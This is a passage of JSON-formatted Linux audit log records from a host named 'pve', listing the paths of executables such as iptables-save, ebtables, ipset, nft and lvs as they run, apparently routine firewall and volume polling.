cap_frootid=0"} {"@timestamp":1781964085938,"@rawstring":"node=pve type=PATH msg=audit(1781964085.938:59529): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085932,"@rawstring":"node=pve type=PATH msg=audit(1781964085.932:59527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085932,"@rawstring":"node=pve type=PATH msg=audit(1781964085.932:59527): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085927,"@rawstring":"node=pve type=PATH msg=audit(1781964085.927:59526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085927,"@rawstring":"node=pve type=PATH msg=audit(1781964085.927:59526): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085922,"@rawstring":"node=pve type=PATH msg=audit(1781964085.922:59525): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085922,"@rawstring":"node=pve type=PATH msg=audit(1781964085.922:59525): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085916,"@rawstring":"node=pve type=PATH msg=audit(1781964085.916:59524): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085916,"@rawstring":"node=pve type=PATH msg=audit(1781964085.916:59524): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085910,"@rawstring":"node=pve type=PATH msg=audit(1781964085.910:59523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085910,"@rawstring":"node=pve type=PATH msg=audit(1781964085.910:59523): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085905,"@rawstring":"node=pve type=PATH msg=audit(1781964085.905:59522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085905,"@rawstring":"node=pve type=PATH msg=audit(1781964085.905:59522): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085896,"@rawstring":"node=pve type=PATH msg=audit(1781964085.896:59521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085896,"@rawstring":"node=pve type=PATH msg=audit(1781964085.896:59521): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085889,"@rawstring":"node=pve type=PATH msg=audit(1781964085.889:59520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085889,"@rawstring":"node=pve type=PATH msg=audit(1781964085.889:59520): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085883,"@rawstring":"node=pve type=PATH msg=audit(1781964085.883:59519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085883,"@rawstring":"node=pve type=PATH msg=audit(1781964085.883:59519): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085880,"@rawstring":"node=pve type=PATH msg=audit(1781964085.880:59518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085880,"@rawstring":"node=pve type=PATH msg=audit(1781964085.880:59518): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085879,"@rawstring":"node=pve type=PATH msg=audit(1781964085.879:59517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085879,"@rawstring":"node=pve type=PATH msg=audit(1781964085.879:59517): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085879,"@rawstring":"node=pve type=PATH msg=audit(1781964085.879:59516): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085876,"@rawstring":"node=pve type=PATH msg=audit(1781964085.876:59515): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085876,"@rawstring":"node=pve type=PATH msg=audit(1781964085.876:59515): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085876,"@rawstring":"node=pve type=PATH msg=audit(1781964085.876:59515): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085868,"@rawstring":"node=pve type=PATH msg=audit(1781964085.868:59514): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085868,"@rawstring":"node=pve type=PATH msg=audit(1781964085.868:59514): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085861,"@rawstring":"node=pve type=PATH msg=audit(1781964085.861:59513): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085861,"@rawstring":"node=pve type=PATH msg=audit(1781964085.861:59513): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085857,"@rawstring":"node=pve type=PATH msg=audit(1781964085.857:59512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085857,"@rawstring":"node=pve type=PATH msg=audit(1781964085.857:59512): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085850,"@rawstring":"node=pve type=PATH msg=audit(1781964085.850:59511): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085850,"@rawstring":"node=pve type=PATH msg=audit(1781964085.850:59511): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085843,"@rawstring":"node=pve type=PATH msg=audit(1781964085.843:59510): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085843,"@rawstring":"node=pve type=PATH msg=audit(1781964085.843:59510): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964084791,"@rawstring":"node=pve type=PATH msg=audit(1781964084.791:59509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964084791,"@rawstring":"node=pve type=PATH msg=audit(1781964084.791:59509): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964084761,"@rawstring":"node=pve type=PATH msg=audit(1781964084.761:59508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964084761,"@rawstring":"node=pve type=PATH msg=audit(1781964084.761:59508): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PATH msg=audit(1781964082.864:59507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PATH msg=audit(1781964082.864:59507): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PATH msg=audit(1781964082.864:59506): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PATH msg=audit(1781964082.864:59505): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=PATH msg=audit(1781964082.853:59504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=PATH msg=audit(1781964082.853:59504): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=PATH msg=audit(1781964082.853:59503): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082852,"@rawstring":"node=pve type=PATH msg=audit(1781964082.852:59502): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PATH msg=audit(1781964077.846:59501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PATH msg=audit(1781964077.846:59501): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PATH msg=audit(1781964077.846:59500): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PATH msg=audit(1781964077.846:59499): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PATH msg=audit(1781964077.839:59498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PATH msg=audit(1781964077.839:59498): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PATH msg=audit(1781964077.839:59497): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PATH msg=audit(1781964077.839:59496): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075832,"@rawstring":"node=pve type=PATH msg=audit(1781964075.832:59495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075832,"@rawstring":"node=pve type=PATH msg=audit(1781964075.832:59495): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075829,"@rawstring":"node=pve type=PATH msg=audit(1781964075.829:59494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075829,"@rawstring":"node=pve type=PATH msg=audit(1781964075.829:59494): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075827,"@rawstring":"node=pve type=PATH msg=audit(1781964075.827:59493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075827,"@rawstring":"node=pve type=PATH msg=audit(1781964075.827:59493): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075827,"@rawstring":"node=pve type=PATH msg=audit(1781964075.827:59492): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075822,"@rawstring":"node=pve type=PATH msg=audit(1781964075.822:59491): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075822,"@rawstring":"node=pve type=PATH msg=audit(1781964075.822:59491): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075822,"@rawstring":"node=pve type=PATH msg=audit(1781964075.822:59491): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075814,"@rawstring":"node=pve type=PATH msg=audit(1781964075.814:59490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075814,"@rawstring":"node=pve type=PATH msg=audit(1781964075.814:59490): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075807,"@rawstring":"node=pve type=PATH msg=audit(1781964075.807:59489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075807,"@rawstring":"node=pve type=PATH msg=audit(1781964075.807:59489): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075799,"@rawstring":"node=pve type=PATH msg=audit(1781964075.799:59488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075799,"@rawstring":"node=pve type=PATH msg=audit(1781964075.799:59488): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075793,"@rawstring":"node=pve type=PATH msg=audit(1781964075.793:59487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075793,"@rawstring":"node=pve type=PATH msg=audit(1781964075.793:59487): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075784,"@rawstring":"node=pve type=PATH msg=audit(1781964075.784:59485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075784,"@rawstring":"node=pve type=PATH msg=audit(1781964075.784:59485): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075779,"@rawstring":"node=pve type=PATH msg=audit(1781964075.779:59484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075779,"@rawstring":"node=pve type=PATH msg=audit(1781964075.779:59484): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075774,"@rawstring":"node=pve type=PATH msg=audit(1781964075.774:59483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075774,"@rawstring":"node=pve type=PATH msg=audit(1781964075.774:59483): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075767,"@rawstring":"node=pve type=PATH msg=audit(1781964075.767:59482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075767,"@rawstring":"node=pve type=PATH msg=audit(1781964075.767:59482): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075762,"@rawstring":"node=pve type=PATH msg=audit(1781964075.762:59481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075762,"@rawstring":"node=pve type=PATH msg=audit(1781964075.762:59481): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075757,"@rawstring":"node=pve type=PATH msg=audit(1781964075.757:59480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075757,"@rawstring":"node=pve type=PATH msg=audit(1781964075.757:59480): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075747,"@rawstring":"node=pve type=PATH msg=audit(1781964075.747:59479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075747,"@rawstring":"node=pve type=PATH msg=audit(1781964075.747:59479): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075741,"@rawstring":"node=pve type=PATH msg=audit(1781964075.741:59478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075741,"@rawstring":"node=pve type=PATH msg=audit(1781964075.741:59478): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075736,"@rawstring":"node=pve type=PATH msg=audit(1781964075.736:59477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075736,"@rawstring":"node=pve type=PATH msg=audit(1781964075.736:59477): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075733,"@rawstring":"node=pve type=PATH msg=audit(1781964075.733:59476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075733,"@rawstring":"node=pve type=PATH msg=audit(1781964075.733:59476): item=0 